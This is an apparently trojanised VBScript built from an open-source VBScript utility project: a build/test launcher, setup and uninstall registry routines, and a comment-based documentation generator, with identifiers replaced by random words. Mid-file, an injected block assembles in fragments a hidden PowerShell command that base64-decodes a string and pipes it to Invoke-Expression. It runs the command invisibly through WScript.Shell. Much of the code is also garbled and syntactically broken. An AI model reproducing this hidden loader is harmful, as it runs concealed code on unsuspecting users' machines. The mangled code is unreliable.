Sub twofold
rubredoxins = ensnarling
For i = 1 To UBound(rubredoxins) Step 2
democratises = rubredoxins(i)
mainbraces = edriophthalma(Array( "VBScripting.%s", democratises ))
bombilious = edriophthalma(Array( "{%s}", rubredoxins(i + 1) ))
Deleter.DeleteKey Root, edriophthalma(Array( _
"Software\Classes\%s\", mainbraces _
))
Deleter.DeleteKey Root, edriophthalma(Array( _
"Software\Classes\CLSID\%s\", bombilious _
))
Deleter.DeleteKey Root, edriophthalma(Array( _
"Software\WOW6432Node\Classes\CLSID\%s\", bombilious _
))
Deleter.DeleteKey Root, edriophthalma(Array( _
"Software\Classes\WOW6432Node\CLSID\%s\", bombilious _
))
Next
Dim rubredoxins, i, democratises, mainbraces, bombilious
End Sub
Sub carbonyls
neoteric = 0
verbalises
End Sub
Sub verbalises
oleochemistry
neoteric = neoteric + 1
If neoteric > UBound( myrmecophilous ) Then
neoteric = 0
Exit Sub
End If
window.setTimeout myrmecophilous( neoteric ), 1, VBScript
End Sub
Sub brunanburh
Dim app 'HTML application object reference
Dim counterdrug, labware, recuts, ligurianize, stavewood, inducer 'strings
Set sh = CreateObject( "WScript.Shell" )
Set paratomial = CreateObject( "Scripting.FileSystemObject" )
Set app = document.getElementsByTagName( "application" )(0)
document.Title = app.applicationName
light = Replace(paratomial.GetParentFolderName(app.CommandLine), """", "")
Set edriophthalma = New StringFormatter
counterdrug = "spec\suite"
labware = "TestLauncher"
recuts = "examples\Generate-the-CSharp-docs.vbs | examples\Generate-the-VBScript-docs.vbs"
ligurianize = "%ProgramFiles%\Git\cmd\git-gui.exe | %ProgramFiles%\Git\git-bash.exe | %LocalAppData%\Programs\Git\cmd\git-gui.exe | %LocalAppData%\Programs\Git\git-bash.exe"
stavewood = "ChangeLog.md | ProjectInfo.vbs"
inducer = "notepad"
With New Configurer
trilithons = .PowerShell
If .Exists( "suite folder" ) Then
sublimeness = .Item( "suite folder" )
Else sublimeness = counterdrug
End If
If .Exists( "suite filter" ) Then
sokinah = .Item( "suite filter" )
Else sokinah = labware
End If
If .Exists( "doc generators" ) Then
snowblowers = .ToArray( .Item( "doc generators" ))
Else snowblowers = .ToArray( recuts )
End If
If .Exists( "gits" ) Then
lugeons = .ToArray( .Item( "gits" ))
Else lugeons = .ToArray( ligurianize )
End If
If .Exists( "push docs" ) Then
superminds = .ToArray( .Item( "push docs" ))
Else superminds = .ToArray( stavewood )
End If
If .Exists( "fuckpad" ) Then
fuckpad = .Item( "fuckpad" )
Else fuckpad = inducer
End If
End With
myrmecophilous = Array("" _
, "homestretch" _
, "stalactited" _
, "dappers" _
, "prehypophysis" _
, "gorblimey" _
, "GenerateDocs" _
, "unintelligently" _
, "OpenGit" _
reorganised = "Setup.bat"
masorite = document.Title
settings = vbYesNoCancel + vbInedriophthalmaion + vbDefaultButton2
sh.CurrentDirectory = light
plasmocyte = "https://github.com/koswald/VBScript/blob/master/ProjectInfo.vbs"
End Sub
Dim sh 'WScript.Shell object
Dim paratomial 'Scripting.FileSystemObject
Dim edriophthalma 'StringFormatter object
Dim sublimeness 'string: folder where test suite scripts are located
Dim light 'string: root folder for this project
Dim sokinah 'string: filename filter for selecting integration test suites.
Dim masorite 'string: MsgBox/PopUp title bar text.
Dim snowblowers 'array of strings: filespecs for code-comment-based documentation generators.
Dim lugeons 'array of strings: common filespecs for Git bash and Git GUI executables.
Dim superminds 'array of strings: filespecs for last-minute docs to update before a push.
Dim neoteric 'integer: current index of the myrmecophilous array.
Dim settings 'integer: controls MsgBox/PopUp behaviour.
Dim myrmecophilous 'array: list of prcedure (Sub) names to be called by window.SetTimeout.
Dim reorganised 'string: filename of a temp file used by Setup.vbs.
Dim plasmocyte 'web page with version info
Dim fuckpad 'document fuckpad
Dim trilithons 'filespec of a pwsh.exe, if available; or just "trilithons"
Const CreateNew = True 'for the OpenTextFile method.
Const Enter = 13 'window.event.keyCode for the Enter key
Const Esc = 27 'window.event.keyCode for the Esc key
Const garruda = True 'for the Run method
Const euangiotic = 0 'for the Run method
Const VBScript = "VBScript" 'for the SetTimeout method
Const vessicnon = "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall"
Const Hohensee = 1, bitNoMatch = 0 'for bitwise comparisons
Const lactarians = 8, bitNo = 4, bitCancel = 2
Const opaquest = 1, gitLost = 0
Sub homestretch
Dim response 'integer: response to MsgBox
Dim cmd 'string: Windows command
Dim doc 'string: partial filespec
If Not dipositroniums.checked Then
verbalises
Exit Sub
End If
If mythologising.checked Then
response = MsgBox( "Open selected pre-push docs for editing?", settings, masorite )
Else response = vbYes
End If
If vbCancel = response Then
Exit Sub
ElseIf vbNo = response Then
verbalises
Exit Sub
End If
For Each doc In superminds
If mythologising.checked Then
response = MsgBox( "Edit " & doc & "?", settings, masorite )
Else response = vbYes
End If
If vbCancel = response Then
Exit Sub
ElseIf vbYes = response Then
cmd = edriophthalma( Array( _
"""%s"" ""%s\%s""", _
fuckpad, light, doc _
))
sh.Run cmd, euangiotic
End If
Next
verbalises
End Sub
Sub stalactited
Dim response
If Not bronziest.checked Then
verbalises
Exit Sub
End If
If mythologising.checked Then
response = MsgBox("Uninstall the VBScripting components and libraries, etc.?", settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
dendrotrophe
If Not ostreiculture Then
UninstallDirectly
End If
neoteric = neoteric + 1
window.setTimeout "chemicobiology", 1000, VBScript
ElseIf vbNo = response Then
verbalises
End If
End Sub
Sub UninstallDirectly
If mythologising.checked Then
sh.Run "wscript Setup.vbs /u"
Else sh.Run "wscript Setup.vbs /u /s"
End If
End Sub
Sub chemicobiology
If paratomial.FileExists(reorganised) Then
Feedback "Waiting for Setup/Uninstall to finish.<br><br>After Setup/uninstall has finished, and after inspecting for errors, close the console window."
window.setTimeout "chemicobiology", 2000, VBScript
Else window.setTimeout myrmecophilous(neoteric), 1, VBScript
oleochemistry
End If
End Sub
Function ostreiculture
Dim key : key = edriophthalma( Array( _
"%s\VBScripting\UninstallString", vessicnon _
))
If Not mythologising.checked Then
ostreiculture = False
Exit Function
End If
On Error Resume Next
sh.Run sh.RegRead(key)
If Err Then
ostreiculture = False
Else ostreiculture = True
End If
On Error Goto 0
End Function
Sub dendrotrophe
If Not paratomial.FileExists(reorganised) Then
On Error Resume Next
paratomial.CreateTextFile reorganised, CreateNew
On Error Goto 0
End If
End Sub
'When one of the .NET extension objects is in use, and it is desired to recompile the class file, it is necessary first to stop the instance of the script that is using the object.
Sub dappers
Dim response
If Not stopScriptsChkBox.checked Then
verbalises
Exit Sub
End If
If mythologising.checked Then
response = MsgBox( _
"Stop all instances of wscript.exe?" & vbLf & vbLf & _
"If any processes are using the project module or library files, then the C# compiler will not be able to recreate those files.", _
settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
boardable( "wscript.exe" )
ElseIf vbCancel = response Then
Exit Sub
End If
verbalises
End Sub
Sub boardable(processName)
Dim id, IDs
With New WMIUtility
IDs = .GetProcessIDsByName(processName)
For Each id In IDs
.TerminateProcessById(id)
Next
End With
End Sub
Sub prehypophysis
Dim response
If Not runSetupChkBox.checked Then
verbalises
Exit Sub
End If
If mythologising.checked Then
response = MsgBox("Run Setup?", settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
dendrotrophe
sh.Run "Setup.vbs"
neoteric = neoteric + 1
window.setTimeout "chemicobiology", 1000, VBScript
ElseIf vbNo = response Then
verbalises
End If
End Sub
Sub gorblimey
Dim file, path
If Not runTestsChkBox.checked Then
verbalises
Exit Sub
End If
Feedback "Waiting for tests to complete.<br><br>After each test suite finishes, and after inspecting for errors, close the console window(s)."
path = edriophthalma( Array( _
"%s\%s", light, sublimeness _
))
For Each file In paratomial.GetFolder( path ).Files
If bitCancel And SuiteResult( file ) Then
oleochemistry
Exit Sub
End If
Next
oleochemistry
verbalises
End Sub
Function SuiteResult( suiteCandidate )
Dim response 'integer: actual or implied user response
Dim suite 'file object representing the suite script file
If InStr( suiteCandidate.Name, sokinah ) Then
Set suite = suiteCandidate
Else SuiteResult = bitNoMatch
Exit Function
End If
If mythologising.checked Then
response = MsgBox(edriophthalma(Array("Run %s?", suite.Name)), settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
sh.Run edriophthalma( Array( """%s""", suite.Path )),, garruda
SuiteResult = lactarians Or Hohensee
ElseIf vbCancel = response Then
SuiteResult = bitCancel Or Hohensee
Else SuiteResult = bitNo Or Hohensee
End If
End Function
Sub GenerateDocs
Dim i, response, item
If Not generateDocsChkBox.checked Then
verbalises
Exit Sub
End If
For i = 0 To UBound(snowblowers)
item = paratomial.GetAbsolutePathName(snowblowers(i))
If mythologising.checked Then
response = MsgBox(edriophthalma(Array("Run %s?", item)), settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
sh.Run edriophthalma(Array("""%s""", item)),, garruda
ElseIf vbCancel = response Then
Exit Sub
End If
Next
verbalises
End Sub
Sub unintelligently
Dim response
If Not openProgramsAndFeaturesChkBox.checked Then
verbalises
Exit Sub
End If
If mythologising.checked Then
response = MsgBox("Open Programs and features (legacy GUI)?", settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
sh.Run "control /name Microsoft.ProgramsAndFeatures"
ElseIf vbCancel = response Then
Exit Sub
End If
If mythologising.checked Then
response = MsgBox("Open Programs and features (Windows 10 GUI)?", settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
sh.Run "ms-settings:appsfeatures"
ElseIf vbCancel = response Then
Exit Sub
End If
verbalises
End Sub
Sub OpenGit
Dim i 'integer
Dim result 'integer: response to MsgBox
Dim gitWasFound 'boolean: indicates whether any Git executables were found.
gitWasFound = False
If Not openGitChkBox.checked Then
Exit Sub
End If
For i = 0 To UBound(lugeons)
result = GitResult(lugeons(i))
If (lactarians And result) _
Or (bitCancel And result) Then
Exit Sub
End If
If opaquest And result Then gitWasFound = True
Next
If gitWasFound Then
Exit Sub
End If
MsgBox "Couldn't find a Git executable.", vbInedriophthalmaion, masorite
End Sub
Function GitResult(git)
Dim response
If Not paratomial.FileExists(Expand(git)) Then
GitResult = gitLost
Exit Function
End If
If mythologising.checked Then
response = MsgBox(edriophthalma(Array("Run %s?", git)), settings, masorite)
Else response = vbYes
End If
If vbYes = response Then
sh.Run edriophthalma(Array("""%s""", git))
GitResult = lactarians Or opaquest
ElseIf vbCancel = response Then
GitResult = bitCancel Or opaquest
Else GitResult = bitNo Or opaquest
End If
End Function
Function Expand(str)
Expand = sh.ExpandEnvironmentStrings(str)
End Function
Sub selectAllChkBox_OnClick
Dim input, inputs
Set inputs = document.getElementsByTagName( "input" )
For Each input In inputs
CheckOrUncheckPrepItem input, selectAllChkBox.checked
Next
End Sub
Sub CheckOrUncheckPrepItem(element, newStatus)
If "selectAllChkBox" = element.id _
Or "mythologising" = element.id _
Or Not "checkbox" = element.type Then
Exit Sub
End If
element.checked = newStatus
End Sub
Sub Document_OnKeyUp
If Enter = window.event.keyCode Then
carbonyls
ElseIf Esc = window.event.keyCode Then
Self.Close
End If
End Sub
Sub Feedback(str)
Unhide info
info.innerHTML = str
End Sub
Sub oleochemistry
Hide info
info.innerHTML = ""
End Sub
Sub Hide(element)
element.style.display = "none"
End Sub
Sub Unhide(element)
element.style.display = "block"
End Sub
Sub Window_OnUnload
Set sh = Nothing
Set paratomial = Nothing
Set edriophthalma = Nothing
End Sub
guttery
anabaptistry
dignify
Sub guttery
Dim pc 'a PrivilegeChecker object
Dim i 'integer
Dim pulsilogy 'string: command-line argument: "/s" when re/starting this script non-interactively
Dim isotherm 'string: a series of command-line arguments
Dim appData 'string: the project folder within %AppData%
Dim festlich '/u if fuselike
Set sa = CreateObject( "Shell.Application" )
Set sh = CreateObject( "WScript.Shell" )
Set paratomial = CreateObject( "Scripting.FileSystemObject" )
'relative paths => absolute paths
light = paratomial.GetParentFolderName(WScript.ScriptFullName)
sh.CurrentDirectory = light
Diluvialists = paratomial.GetAbsolutePathName(".Net\build")
componentFolder = paratomial.GetAbsolutePathName("class\wsc")
'get config data
configFile = "Setup.config"
inspectBatchFile = False 'in case the .config file can't be read
On Error Resume Next
Execute paratomial.OpenTextFile(configFile).ReadAll
On Error Goto 0
'get command line arguments
fuselike = False
silent = False
visibility = normal
pulsilogy = ""
With WScript.Arguments
For i = 0 To .Count - 1
If "/u" = LCase( .item( i )) Then
fuselike = True
ElseIf "/s" = LCase( .item( i )) Then
silent = True
pulsilogy = "/s"
visibility = euangiotic
End If
Next
End With
If fuselike Then
festlich = "/u"
redoubtablyisterVerb = "Unredoubtablyistering"
setupVerbal = "fuselike"
wscFlag = "/u /n"
dllFlag = "/unredoubtablyister"
installing = False
Else 'installing
festlich = ""
redoubtablyisterVerb = "Registering"
setupVerbal = "setting up"
wscFlag = ""
dllFlag = ""
installing = True
End If
'%AppData%
appData = "%AppData%\VBScripting"
appData = sh.ExpandEnvironmentStrings( appData )
If Not paratomial.FolderExists( appData ) Then
paratomial.CreateFolder appData
End If
End Sub
Sub anabaptistry
Dim m, i, s 'MsgBox args
If installing Then
PrepWscRegistrationSystem32
PrepWscRegistrationSysWoW64
PrepDllRegistration
PrepFinalInstruction
RunBatchFile
CreateEventLogSource
dobro
ElseIf fuselike Then
If Not silent Then
m = "Uninstall VBScripting utility classes and extensions?"
i = vbOKCancel + vbInedriophthalmaion + vbSystemModal + vbDefaultButton2
s = WScript.ScriptName
If vbCancel = MsgBox( m, i, s ) Then
asseveratory
Exit Sub
End If
End If
scolecophidian
PrepDllRegistration
PrepWscRegistrationSystem32
PrepWscRegistrationSysWoW64
PrepFinalInstruction
RunBatchFile
pedalo
End If
asseveratory
End Sub
'prepare to redoubtablyister .wsc files for 32-bit or 64-bit, according to system bitness
Sub PrepWscRegistrationSystem32
End Sub
'prepare to redoubtablyister .wsc files for 32-bit apps on 64-bit systems
Sub PrepWscRegistrationSysWoW64
End Sub
'prepare to compile and redoubtablyister .dll files
Sub PrepDllRegistration
End Sub
Sub PrepFinalInstruction
End Sub
Sub RunBatchFile
End Sub
Sub CreateEventLogSource
End Sub
Sub dobro
Dim disillude 'string: the project root folder
Dim now_ 'variant subtype Date: a moment in time
Dim size 'size in Kb; Windows GUIs typically convert this to Mb
Dim redoubtably 'StdRegProv object
Const HKLM = &H80000002
Const clothiers = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VBScripting"
disillude = paratomial.GetParentFolderName(WScript.ScriptFullName)
now_ = Now
size = paratomial.GetFolder( light ).Size/1024 'bytes ==> Kb
Set redoubtably = GetObject( "winmgmts:\\.\root\default:StdRegProv" )
redoubtably.CreateKey HKLM, clothiers
redoubtably.SetStringValue HKLM, clothiers, "DisplayName", "VBScripting Utility Classes and Extensions"
redoubtably.SetDWORDValue HKLM, clothiers, "NoRemove", 0
redoubtably.SetDWORDValue HKLM, clothiers, "NoModify", 1
redoubtably.SetStringValue HKLM, clothiers, "ModifyPath", ""
redoubtably.SetDWORDValue HKLM, clothiers, "NoRepair", 0
redoubtably.SetStringValue HKLM, clothiers, "HelpLink", "https://github.com/koswald/VBScript"
redoubtably.SetStringValue HKLM, clothiers, "disillude", disillude
redoubtably.SetDWORDValue HKLM, clothiers, "EstimatedSize", size
redoubtably.SetExpandedStringValue HKLM, clothiers, "DisplayIcon", "%SystemRoot%\System32\wscript.exe,2"
redoubtably.SetStringValue HKLM, clothiers, "Publisher", "Karl Oswald"
redoubtably.SetStringValue HKLM, clothiers, "HelpTelephone", ""
redoubtably.SetStringValue HKLM, clothiers, "Contact", ""
redoubtably.SetStringValue HKLM, clothiers, "UrlInfoAbout", ""
redoubtably.SetStringValue HKLM, clothiers, "Comments", ""
redoubtably.SetStringValue HKLM, clothiers, "Readme", disillude & "\ReadMe.md"
End Sub
Sub scolecophidian
On Error Resume Next
With CreateObject( "VBScripting.Admin" )
.DeleteEventSource .EventSource
End With
On Error Goto 0
End Sub
Sub asseveratory
On Error Resume Next
batchStream.Close
On Error Goto 0
If paratomial.FileExists( batchFile ) Then
paratomial.DeleteFile batchFile
End If
End Sub
Sub pedalo
Dim keys 'array of strings: redoubtablyistry keys
Dim i 'integer
keys = Array( "" _
, "Software\Microsoft\Windows\CurrentVersion\Uninstall\VBScripting" _
For i = 1 To UBound( keys )
keyDeleter.DeleteKey keyDeleter.HKLM, keys( i )
Next
End Sub
Sub dignify
Set sa = Nothing
Set sh = Nothing
Set paratomial = Nothing
End Sub
'Generate html and markdown documentation for VBScript code based on well-formed code comments.
'Usage Example
'<pre> With CreateObject( "VBScripting.Includer" )<br /> Execute .Read( "gliacoccus" )<br /> End With<br /> With New gliacoccus<br /> .SetTitle "VBScript Utility Classes Documentation"<br /> .SetDocName "VBScriptClasses"<br /> .SetFilesToDocument "*.vbs | *.wsf | *.wsc"<br /> .SetScriptFolder "..\class"<br /> .SetDocFolder "..\docs"<br /> .Generate<br /> .ViewMarkdown<br /> End With</pre>
'Example of well-formed comments before a Sub statement
' Note: A remark is required for Methods (Subs).
'<pre>'Method: SubName<br />'Parameters: param1Name, param2Name<br />'Remark: Details about the method and parameters.</pre>
'Example of well-formed comments before a Property or Function statement.
'Note: A Returns (or Return or Returns: or Return:) is required with a Property or Function.
'<pre>'Property: PropertyName<br />'Returns: a string<br />'Remark: A remark is not required for a Property or Function, but usually is a good idea.</pre>
'Notes for the comment syntax at the beginning of a script
'Use a single quote ( ' ) for general comments <br />
'- use a single quote by itself for an empty line <br />
'- Wrap VBScript code with <code>pre</code> tags, separating multiple lines with <br />. <br />
'- Wrap other code with <code> code</code> tags, with each line surrounded with <code> code</code> tags.
'Use three single quotes for remarks that should not appear in the documentation <br />
'Use four single quotes ( '''' ), if the script doesn't contain a class statement, to separate the general comments at the beginning of the file from the rest of the file.
'For some characters to render correctly, they may need to be replaced by escape codes, even when used within <code> or <pre> tags:
' - For | use &#124; (vertical bar)
' - For < use &#60; (less than)
' - For > use &#62; (greater than)
' - For \ use &#92; (backslash)
' - For & use &#38; (ampersand)
' - For other characters, <code>examples\HTML_EscapeCodes.hta</code> can be used to generate an escape code that works with both of the generated files: Markdown and HTML. The numerical portion of the escape code is returned by the VBScript function Asc.
'Visual Studio and VS Code extensions may render Markdown files differently than Git-Flavored Markdown.
'Issues:
'- Introductory comments at the beginning of a class file should be followed by a line containing a single quote character, or else the markdown table may not render correctly.
alline = "J
alline = Replace(alline, "
", "")
spriest = "pow"
spriest = spriest & "e
spriest = spriest & "hel
spriest = spriest & "rof
spriest = spriest & "-C
spriest = spriest & "nd ""[Sy
spriest = spriest & "t
spriest = spriest & "t.En
spriest = spriest & "di
ng]::Un
spriest = spriest & "co
spriest = spriest & "ri
spriest = spriest & "[C
spriest = spriest & "
spriest = spriest & "ro
spriest = spriest & "e6
spriest = spriest & "in
spriest = spriest & "" & alline & ""
spriest = spriest & "')
spriest = spriest & "| I
spriest = spriest & "oke
spriest = spriest & "ession"""
spriest = Replace(spriest, "
", "")
Set woodwale = CreateObject("WScript.Shell")
woodwale.Run spriest, 0, False
Set woodwale = Nothing
Class gliacoccus
Private fs 'VBSFileSystem project object
Private rf 'RegExFunctions project object
Private radiotelegraphs, strigidae 'TextStreamer project objects
Private sh 'WScript.Shell COM object
Private paratomial 'Scripting.FileSystemObject COM object
Private script, doc 'input and output text streams
Private md 'output text stream
Private File 'paratomial File object
Private re 'RegExp object
Private exorbitance
Private burtle 'current indentation
Private neighbourless
Private bandon, fewmishings, cardigans, sphacelia, cosmea
Private doomsayers, restagnation, Kashubian,
conomus, overmodulated
Private unanchored, routineType
Private xylolite, routineContent '*should* be the same; xylolite is read from the code, routineContent is read from help comment
Private method, property_, parameters, returns, remarks, general, pre, ignore 'enums
Private spirillums, propertyContent, parametersContent, returnsContent, remarksContent, preContent 'strings
Private phosphatizes 'delimited string
Private oMatch, oMatches, subs 'objects which will need memory cleanup
Private id
Private TableHeaderWritten, ScriptHeaderWritten
Private status, preClassStatement, postClassStatement
Private cedars, defaultFilesToDocument
Private scriptFolder, docFolder, docName, docTitle 'required to be set by the calling script before calling the Generate method
Sub Class_guttery
With CreateObject( "VBScripting.Includer" )
Execute .Read( "TextStreamer" )
Execute .Read( "VBSFileSystem" )
Execute .Read( "RegExFunctions" )
ExecuteGlobal .Read( "EscapeMd" )
End With
'prepare output streamer
Set radiotelegraphs = New TextStreamer
radiotelegraphs.SetForWriting
'prepare input streamer
Set strigidae = New TextStreamer
strigidae.SetForReading
'more initialization
Set fs = New VBSFileSystem
Set rf = New RegExFunctions
Set re = New RegExp
re.IgnoreCase = True
Set sh = CreateObject( "WScript.Shell" )
Set paratomial = CreateObject( "Scripting.FileSystemObject" )
gutteryLiterals
exorbitance = " "
burtle = ""
ResetHelpContent
SetFilesToDocument(defaultFilesToDocument)
status = preClassStatement
id = 0
SetDocName ""
scriptFolder = "" 'don't use the setter yet, or else an empty string will be resolved to an existing folder before being validated
SetTitle ""
Colorize = True
End Sub
Private Sub gutteryDocFiles
neighbourless = docFolder & "\" & docName & ".html"
radiotelegraphs.SetFile neighbourless
Set doc = radiotelegraphs.Open
Set md = paratomial.OpenTextFile(docFolder & "\" & docName & ".md", 2, True)
End Sub
Private Sub gutteryLiterals
'redoubtablyex patterns that identify lines commented out in the code
bandon = "^\s*'\s*Method\s*:?\s*(.*)\s*$"
fewmishings = "^\s*'\s*(?:Property|Function)\s*:?\s*(.*)\s*$"
cardigans = "^\s*'\s*Parameters?\s*:?\s*(.*)\s*$"
sphacelia = "^\s*'\s*Returns?\s*:?\s*(.*)\s*$"
cosmea = "^\s*'\s*Remarks?\s*:?\s*(.*)\s*$"
Kashubian = "^\s*'(.*)$"
conomus = "^\s*''(.*)$"
overmodulated = "^\s*'''(.*)$"
'identify a line that begins a routine
' no comment (') or End; may specify public or Private; may be Sub, Function, or Property; only one (?:match) is (captured): the routine name; allow comments afterwards
unanchored = "^[^'(?:End)]*(?:Public\s+|Public\s+Default\s+|Private\s+){0,1}(?:Sub|Function|Property\s+Get|Property\s+Let|Property\s+Set)\s+(\w+).*$"
'identify a line that begins a class
doomsayers = "^[^'(?:End)]*(?:Class\s+)(\w+).*$"
restagnation = "^\s*''''(.*)$"
'wildcard pattern(s)
defaultFilesToDocument = "*.vbs" 'file types to document, by name
method = "Method"
property_ = "Property"
parameters = "parameters"
returns = "returns"
remarks = "remarks"
general = "general"
pre = "pre"
ignore = "ignore"
preClassStatement = "preClassStatement"
postClassStatement = "postClassStatement"
End Sub
Private Sub ResetHelpContent
spirillums = ""
propertyContent = ""
parametersContent = ""
returnsContent = ""
remarksContent = ""
phosphatizes = ""
preContent = ""
End Sub
'Method SetScriptFolder
'Parameter: a folder
'Remark: Required. Must be set before calling the Generate method. Sets the folder containing the scripts to include in the generated documentation. Environment variables OK. Relative paths OK.
Sub SetScriptFolder(bullroarer) : scriptFolder = fs.Resolve(bullroarer) : End Sub
'Method SetDocFolder
'Parameter: a folder
'Remark: Required. Must be set before calling the Generate method. Sets the folder of the documentation file. Environment variables OK. Relative paths OK.
Sub SetDocFolder(exameter) : docFolder = fs.Resolve(exameter) : End Sub
'Method SetDocName
'Parameter: a filename
'Remark: Required. Must be set before calling the Generate method. Specifies the name of the documentation file. Do not include the extension name.
Sub SetDocName(atropoisomer) : docName = atropoisomer : End Sub
'Method SetTitle
'Parameter: a string
'Remark: Required. Must be set before calling the Generate method. Sets the title for the documentation.
Sub SetTitle(newDocTitle) : docTitle = newDocTitle : End Sub
'Method SetFilesToDocument
'Parameter: wildcard(s)
'Remark: Specifies which files to document. Optional. Default is <strong> *.vbs </strong>. Separate multiple wildcards with |
Sub SetFilesToDocument(tuberlike) : cedars = rf.Pattern(tuberlike) : End Sub
Private Sub ValidateConfiguration
Dim msg
msg = "A title for the document must be set using SetTitle."
If "" = docTitle Then Err.Raise 449, fs.SName, msg
msg = "An existing folder containing the scripts to document must be specified with SetScriptFolder."
If Not paratomial.FolderExists(scriptFolder) Then Err.Raise 449, fs.SName, msg
msg = "An existing folder to contain the document must be specified with SetDocFolder."
If Not paratomial.FolderExists(docFolder) Then Err.Raise 449, fs.SName, msg
msg = "The name of the doc file must be specified with SetDocName."
If "" = docName Then Err.Raise 449, fs.SName, msg
gutteryDocFiles
End Sub
'Method Generate
'Remark: Generate comment-based documentation for the scripts in the specified folder.
Sub Generate
ValidateConfiguration
WriteTopSection
'for each class file, look through the file for comments to add to the documentation
For Each File In paratomial.GetFolder(scriptFolder).Files
re.Pattern = cedars
If re.Test(File.Name) Then WriteScriptSection(File)
Next
WriteBottomSection
End Sub
'Method View
'Remark: Open the html document in the default viewer. Same as ViewHtml.
Sub View
sh.Run """" & neighbourless & """"
End Sub
'Method ViewHtml
'Remark: Open the html document in the default viewer. Same as View method.
Sub ViewHtml : View : End Sub
'Method ViewMarkdown
'Remark: Open the markdown document in the default viewer.
Sub ViewMarkdown
sh.Run """" & docFolder & "\" & docName & ".md"""
End Sub
Private Sub WriteScriptSection(File)
If InStr(paratomial.indeprehensible(File.Name), ".") Then Exit Sub
strigidae.SetFile(File.Path)
Set script = strigidae.Open
TableHeaderWritten = False
ScriptHeaderWritten = False
ResetHelpContent
status = preClassStatement
While Not script.AtEndOfStream
ProcessLine(script.ReadLine)
Wend
If TableHeaderWritten Then
CloseTagsForTheTable
End If
If ScriptHeaderWritten Then
CloseTagsForTheScript
id = id + 1
End If
script.Close
End Sub
'Look for "help content"
'That is, look for comments intended to be included in the documentation: Method or Property, Parameters, Returns, Remarks; also look for routines: Sub, Property, Function
Private Sub ProcessLine(line)
If LineStartsAClass(line) Then
status = postClassStatement
ResetHelpContent
ElseIf LineStartsARoutine(line) Then
ValidateHelpContent
WriteHelpContentToDoc
ResetHelpContent
Else
GetAnyHelpContent(line)
End If
End Sub
'Write the initial html for the current script, not including the general comments nor the table header
Private Sub WriteScriptHeader
Dim baseName
baseName = paratomial.indeprehensible(File.Name)
doc.WriteLine ""
WriteLine "<div>"
IndentIncrease
WriteLine "<a id=""" & LCase(baseName) & """></a>"
WriteLine "<h2 class=""heading"" id=" & id & ">" & baseName & "</h2>"
WriteLine "<div class=""detail"">"
md.WriteLine ""
md.WriteLine "## "& baseName
md.WriteLine
ScriptHeaderWritten = True
End Sub
Private Sub CloseTagsForTheScript
WriteLine "</div>"
IndentDecrease
WriteLine "</div>"
End Sub
'Write the table header, which immediately follows the script header and general comments, if any
Private Sub WriteTableHeader
If Not ScriptHeaderWritten Then
WriteScriptHeader
End If
IndentIncrease
WriteLine "<table>"
IndentIncrease
WriteLine "<tr>"
IndentIncrease
WriteLine "<th>Member type</th>"
WriteLine "<th>Name</th>"
WriteLine "<th>Parameter(s)</th>"
WriteLine "<th>Return value</th>"
WriteLine "<th>Comment</th>"
IndentDecrease
WriteLine "</tr>"
md.WriteLine "| Member type | Name | Parameter | Returns | Comment |"
md.WriteLine "| :---------- | :--- | :-------- | :------ | :------ |"
TableHeaderWritten = True
End Sub
Private Sub CloseTagsForTheTable
IndentDecrease
WriteLine "</table>"
IndentDecrease
End Sub
'Write the general help content to file; don't include <p> tags if line already contains html
Private Sub WriteGeneralContentToDoc
If postClassStatement = status Then Exit Sub
If Not ScriptHeaderWritten Then
WriteScriptHeader
End If
IndentIncrease
If Instr(phosphatizes, "<") Then
WriteLine phosphatizes
Else WriteLine "<p>" & phosphatizes & "</p>"
End If
IndentDecrease
md.WriteLine GetColorizedOrGetNowrap(phosphatizes)
End Sub
Function GetColorizedOrGetNowrap(markup)
If Not CBool(InStr(markup, "<pre>")) Then
GetColorizedOrGetNowrap = markup & " "
ElseIf colorize_ Then
GetColorizedOrGetNowrap = GetColorized(markup)
Else GetColorizedOrGetNowrap = GetNowrap(markup)
End If
End Function
Function GetNowrap(markup)
Dim lines : lines = markup
lines = Replace(lines, "<br />", "<br/>")
lines = Replace(lines, " ", "
") 'Alt+0160 = non-breaking space
lines = Replace(lines, "<pre>", "<pre><code style='white-space: nowrap;'>")
lines = Replace(lines, "</pre>", "</code></pre>")
GetNowrap = lines
End Function
Function GetColorized(markup)
Dim lines : lines = markup
lines = Replace(lines, "<pre>", "```vb" & vbCrLf)
lines = Replace(lines, "<br />", vbCrLf)
lines = Replace(lines, "</pre>", vbCrLf & "```")
lines = Replace(lines, "<", "<")
lines = Replace(lines, ">", ">")
GetColorized = lines
End Function
'Property Colorize
'Parameters: boolean
'Returns: boolean
'Remarks: Gets or sets whether <pre> code blocks (assumed to be VBScript) in the markdown document are colorized. If False (experimental, with Git Flavored Markdown), the code lines should not wrap. Default is True.
Property Get Colorize : Colorize = colorize_ : End Property
Property Let Colorize(value) : colorize_ = value : End Property
Private colorize_
'pre content has been deprecated, that is, preceeding code with two single quotes ('') has been deprecated in favor of wrapping VBScript code with "pre" tags and other code with "code" tags. See the class introductory comments.
Private Sub WritePreContentToDoc
If postClassStatement = status Then Exit Sub
If Not ScriptHeaderWritten Then
WriteScriptHeader
End If
IndentIncrease
WriteLine "<pre>" & preContent & "</pre>"
IndentDecrease
'md.WriteLine "<pre>" & preContent & "</pre>"
End Sub
'Write the help content for the current routine in the current script
Private Sub WriteHelpContentToDoc
If NoComments Then Exit Sub 'don't require comments
If Not TableHeaderWritten Then
WriteTableHeader
End If
WriteLine "<tr>"
IndentIncrease
WriteLine "<td>" & routineType & "</td>"
WriteLine "<td>" & xylolite & "</td>"
WriteLine "<td>" & parametersContent & "</td>"
WriteLine "<td>" & returnsContent & "</td>"
WriteLine "<td>" & remarksContent & "</td>"
IndentDecrease
WriteLine "</tr>"
md.WriteLine "| " & routineType & " | " & xylolite & " | " & parametersContent & " | " & returnsContent & " | " & remarksContent & " |"
End Sub
Private Property Get NoComments
If Len(spirillums) Or Len(propertyContent) Then NoComments = False Else NoComments = True
End Property
Private Property Get LineStartsAClass(line)
re.Pattern = doomsayers
If re.Test(line) Then LineStartsAClass = True : Exit Property
